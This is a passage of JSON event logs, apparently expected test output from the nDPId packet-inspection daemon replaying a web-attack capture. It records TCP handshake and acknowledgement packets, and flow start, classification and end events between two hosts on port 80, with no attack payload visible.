+00443{"flow_id":91,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1295,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":603235,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0kIa0KsLxQGq1KAScSCGiQAAAgQFtAQCCAoD4064ATl9QQEDAwc="} +00431{"flow_id":91,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":603995,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA015NAAD4G7kSsEAABwKgKMtJCAFDFAarUGtCrDIAQAOUlkQAAAQEICgE5fUED4064"} +00432{"flow_id":88,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1300,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":643787,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N6VAAD4GjjOsEAABwKgKMtIMAFCkuE+NEJCce4ARAOW\/MAAAAQEICgE5fUsD40ml"} +00431{"flow_id":88,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1301,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":644045,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA00rlAAEAG8R7AqAoyrBAAAQBQ0gwQkJx7pLhPjoARAOO6FAAAAQEICgPjTsIBOX1L"} +00431{"flow_id":88,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1302,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347120,"pkt_ts_usec":644790,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0N6ZAAD4GjjKsEAABwKgKMtIMAFCkuE+OEJCcfIAQAOW6EQAAAQEICgE5fUwD407C"} +00431{"flow_id":89,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1309,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347122,"pkt_ts_usec":643671,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FEdAAD4GsZGsEAABwKgKMtIaAFCixG03kxm+JYARAOX8AAAAAQEICgE5fz8D40rp"} +00432{"flow_id":89,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1310,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347122,"pkt_ts_usec":643890,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA07pNAAEAG1UTAqAoyrBAAAQBQ0hqTGb4losRtOIARAOP2NAAAAQEICgPjULYBOX8\/"} +00431{"flow_id":89,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1311,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347122,"pkt_ts_usec":644441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0FEhAAD4GsZCsEAABwKgKMtIaAFCixG04kxm+JoAQAOX2MQAAAQEICgE5f0AD41C2"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":92,"flow_packet_id":1,"flow_first_seen":1499347123174,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53852,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":92,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1315,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347123,"pkt_ts_usec":174408,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8j6NAAD4GNi2sEAABwKgKMtJcAFBy9vBnAAAAAKACchCn+wAAAgQFtAQCCAoBOX\/EAAAAAAEDAwc="} +00444{"flow_id":92,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1316,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347123,"pkt_ts_usec":174534,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0lx1HkCocvbwaKAScSCd9QAAAgQFtAQCCAoD41E7ATl\/xAEDAwc="} +00432{"flow_id":92,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1317,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347123,"pkt_ts_usec":175097,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j6RAAD4GNjSsEAABwKgKMtJcAFBy9vBodR5AqYAQAOU8\/QAAAQEICgE5f8QD41E7"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1324,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1499347124454,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53866,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":93,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":454359,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NtZAAD4GjvqsEAABwKgKMtJqAFC8CbfSAAAAAKACchCWLwAAAgQFtAQCCAoBOYEEAAAAAAEDAwc="} +00443{"flow_id":93,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1325,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":454452,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0moH9pX9vAm306AScSCivAAAAgQFtAQCCAoD41J7ATmBBAEDAwc="} +00433{"flow_id":93,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":455236,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NtdAAD4GjwGsEAABwKgKMtJqAFC8CbfTB\/aV\/oAQAOVBxAAAAQEICgE5gQQD41J7"} +00431{"flow_id":90,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1330,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":644201,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AVJAAD4GxIasEAABwKgKMtI0AFAiVX1Wc3gbI4ARAOUqVAAAAQEICgE5gTQD4017"} +00432{"flow_id":90,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1331,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":644417,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SYlAAEAGek\/AqAoyrBAAAQBQ0jRzeBsjIlV9V4ARAOMlJgAAAQEICgPjUqoBOYE0"} +00431{"flow_id":90,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1332,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347124,"pkt_ts_usec":645146,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0AVNAAD4GxIWsEAABwKgKMtI0AFAiVX1Xc3gbJIAQAOUlJAAAAQEICgE5gTQD41Kq"} +00431{"flow_id":91,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1336,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":644947,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA015RAAD4G7kOsEAABwKgKMtJCAFDFAarUGtCrDIARAOUgowAAAQEICgE5gi4D4064"} +00432{"flow_id":91,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":645169,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+KhAAEAGyy\/AqAoyrBAAAQBQ0kIa0KsMxQGq1YARAOMbuAAAAQEICgPjU6QBOYIu"} +00431{"flow_id":91,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1338,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":645901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA015VAAD4G7kKsEAABwKgKMtJCAFDFAarVGtCrDYAQAOUbtgAAAQEICgE5gi4D41Ok"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1339,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1499347125743,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53880,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":94,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1339,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":743151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8IcxAAD4GpASsEAABwKgKMtJ4AFAiLqOKAAAAAKACchBDAwAAAgQFtAQCCAoBOYJGAAAAAAEDAwc="} +00443{"flow_id":94,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1340,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":743295,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0niyGNhRIi6ji6AScSBh1wAAAgQFtAQCCAoD41O9ATmCRgEDAwc="} +00431{"flow_id":94,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347125,"pkt_ts_usec":743827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ic1AAD4GpAusEAABwKgKMtJ4AFAiLqOLshjYUoAQAOUA3gAAAQEICgE5gkcD41O9"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1354,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":95,"flow_packet_id":1,"flow_first_seen":1499347128311,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53906,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":95,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":311749,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83+lAAD4G5easEAABwKgKMtKSAFBV0VshAAAAAKACchBVLQAAAgQFtAQCCAoBOYTIAAAAAAEDAwc="} +00444{"flow_id":95,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":311853,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0pKrZqcYVdFbIqAScSCpagAAAgQFtAQCCAoD41Y\/ATmEyAEDAwc="} +00432{"flow_id":95,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1356,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":312457,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03+pAAD4G5e2sEAABwKgKMtKSAFBV0Vsiq2anGYAQAOVIcQAAAQEICgE5hMkD41Y\/"} +00431{"flow_id":92,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1360,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":645371,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j6VAAD4GNjOsEAABwKgKMtJcAFBy9vBodR5AqYARAOU3pAAAAQEICgE5hRwD41E7"} +00431{"flow_id":92,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1361,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":645626,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0FjtAAEAGrZ3AqAoyrBAAAQBQ0lx1HkCpcvbwaYARAOMyTgAAAQEICgPjVpIBOYUc"} +00431{"flow_id":92,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347128,"pkt_ts_usec":646363,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0j6ZAAD4GNjKsEAABwKgKMtJcAFBy9vBpdR5AqoAQAOUyTAAAAQEICgE5hRwD41aS"} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1366,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":96,"flow_packet_id":1,"flow_first_seen":1499347129584,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53920,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":96,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1366,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":584423,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rtVAAD4GFvusEAABwKgKMtKgAFDfKCjSAAAAAKACchD81wAAAgQFtAQCCAoBOYYHAAAAAAEDAwc="} +00444{"flow_id":96,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1367,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":584518,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ0qA\/BA1B3ygo06AScSBWEQAAAgQFtAQCCAoD41d9ATmGBwEDAwc="} +00431{"flow_id":96,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1368,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":585134,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rtZAAD4GFwKsEAABwKgKMtKgAFDfKCjTPwQNQoAQAOX1GAAAAQEICgE5hgcD41d9"} +00433{"flow_id":93,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1372,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":647825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NthAAD4GjwCsEAABwKgKMtJqAFC8CbfTB\/aV\/oARAOU8sAAAAQEICgE5hhcD41J7"} +00431{"flow_id":93,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":647917,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0wnNAAEAGAWXAqAoyrBAAAQBQ0moH9pX+vAm31IARAOM3nwAAAQEICgPjV40BOYYX"} +00433{"flow_id":93,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347129,"pkt_ts_usec":648491,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NtlAAD4Gjv+sEAABwKgKMtJqAFC8CbfUB\/aV\/4AQAOU3nQAAAQEICgE5hhcD41eN"} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":6,"flow_first_seen":1499347056332,"flow_last_seen":1499347061626,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53152,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":6,"flow_first_seen":1499347056332,"flow_last_seen":1499347061626,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53152,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":6,"flow_first_seen":1499347057628,"flow_last_seen":1499347063626,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53166,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":6,"flow_first_seen":1499347057628,"flow_last_seen":1499347063626,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53166,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1499347060176,"flow_last_seen":1499347065627,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53192,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1499347060176,"flow_last_seen":1499347065627,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":6,"flow_first_seen":1499347061452,"flow_last_seen":1499347066629,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53206,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":6,"flow_first_seen":1499347061452,"flow_last_seen":1499347066629,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53206,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00529{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":6,"flow_first_seen":1499347062740,"flow_last_seen":1499347068629,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53220,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00491{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":58,"flow_packet_id":6,"flow_first_seen":1499347062740,"flow_last_seen":1499347068629,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":53220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":94,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347131,"pkt_ts_usec":648151,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Ic5AAD4GpAqsEAABwKgKMtJ4AFAiLqOLshjYUoARAOX7GAAAAQEICgE5iAsD41O9"} 